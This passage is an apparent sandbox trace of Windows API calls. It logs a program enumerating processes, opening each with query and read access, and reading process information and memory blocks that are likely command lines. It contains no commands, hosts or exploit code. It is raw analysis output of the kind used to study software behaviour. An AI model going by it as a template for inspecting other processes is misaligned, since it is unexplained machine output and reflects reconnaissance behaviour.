0x196ef0d2120 [0283.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0283.020] free (_Block=0x196ef0d2120) [0283.021] CloseHandle (hObject=0x464) returned 1 [0283.022] _ui64tow_s (in: _Value=0xae4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0283.026] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2788") returned 4 [0283.027] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.027] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x464 [0283.044] GetLastError () returned 0x0 [0283.044] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.047] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.049] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.049] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2db7e47020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.049] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.050] malloc (_Size=0x64) returned 0x196ef0d0370 [0283.050] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0283.051] free (_Block=0x196ef0d0370) [0283.051] CloseHandle (hObject=0x464) returned 1 [0283.052] _ui64tow_s (in: _Value=0xb40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0283.057] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2880") returned 4 [0283.058] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.058] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.076] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x464 [0283.077] GetLastError () returned 0x0 [0283.077] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.077] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.078] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.078] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.078] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7218c8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.079] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.081] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7212b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.081] malloc (_Size=0x72) returned 0x196ef0d2120 [0283.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0283.082] free (_Block=0x196ef0d2120) [0283.082] CloseHandle (hObject=0x464) returned 1 [0283.117] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0283.122] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1192") returned 4 [0283.123] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x70f7c860, szCSDVersion="\x06") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.123] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.140] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x464 [0283.140] GetLastError () returned 0x0 [0283.140] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.141] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.141] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.142] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103510, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.142] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b810312a, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.144] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.145] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.145] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.163] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8102ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.181] malloc (_Size=0xd6) returned 0x196ef0d4e70 [0283.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d4e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0283.196] free (_Block=0x196ef0d4e70) [0283.197] CloseHandle (hObject=0x464) returned 1 [0283.198] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0283.203] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="728") returned 3 [0283.204] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.204] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.234] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0283.234] CloseHandle (hObject=0x0) returned 0 [0283.235] _ui64tow_s (in: _Value=0x614, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0283.328] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1556") returned 4 [0283.329] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.329] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.350] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x464 [0283.350] GetLastError () returned 0x0 [0283.351] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11948, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.353] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.354] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.354] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.355] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.355] malloc (_Size=0x7e) returned 0x196ef0fade0 [0283.355] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef0fade0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fade0*, lpNumberOfBytesRead=0x0) returned 1 [0283.356] free (_Block=0x196ef0fade0) [0283.359] CloseHandle (hObject=0x464) returned 1 [0283.359] _ui64tow_s (in: _Value=0xd80, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0283.364] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3456") returned 4 [0283.365] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.365] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.431] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x464 [0283.432] GetLastError () returned 0x0 [0283.432] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.432] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.434] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.438] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.438] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.438] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.438] malloc (_Size=0x8c) returned 0x196ef0d62c0 [0283.438] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d62c0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d62c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.439] free (_Block=0x196ef0d62c0) [0283.441] CloseHandle (hObject=0x464) returned 1 [0283.443] _ui64tow_s (in: _Value=0xd88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0283.461] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3464") returned 4 [0283.463] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.463] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.564] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x464 [0283.564] GetLastError () returned 0x0 [0283.564] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.564] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.565] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.565] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.565] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.566] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.567] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.567] malloc (_Size=0x68) returned 0x196ef0d0370 [0283.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d0370, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0283.568] free (_Block=0x196ef0d0370) [0283.569] CloseHandle (hObject=0x464) returned 1 [0283.569] _ui64tow_s (in: _Value=0xd98, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0283.573] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3480") returned 4 [0283.574] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.576] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.612] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x464 [0283.612] GetLastError () returned 0x0 [0283.613] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.613] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.613] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.613] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.613] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc18f8, lpBuffer=0x670f7c2b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.614] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.616] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.616] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.616] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.616] malloc (_Size=0x88) returned 0x196ef0fac30 [0283.616] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1978, lpBuffer=0x196ef0fac30, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fac30*, lpNumberOfBytesRead=0x0) returned 1 [0283.617] free (_Block=0x196ef0fac30) [0283.617] CloseHandle (hObject=0x464) returned 1 [0283.618] _ui64tow_s (in: _Value=0xda0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0283.779] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3488") returned 4 [0283.780] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.780] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.795] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x464 [0283.796] GetLastError () returned 0x0 [0283.796] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.796] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.796] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.797] ReadProcessMemory (in: hProcess=0x464, 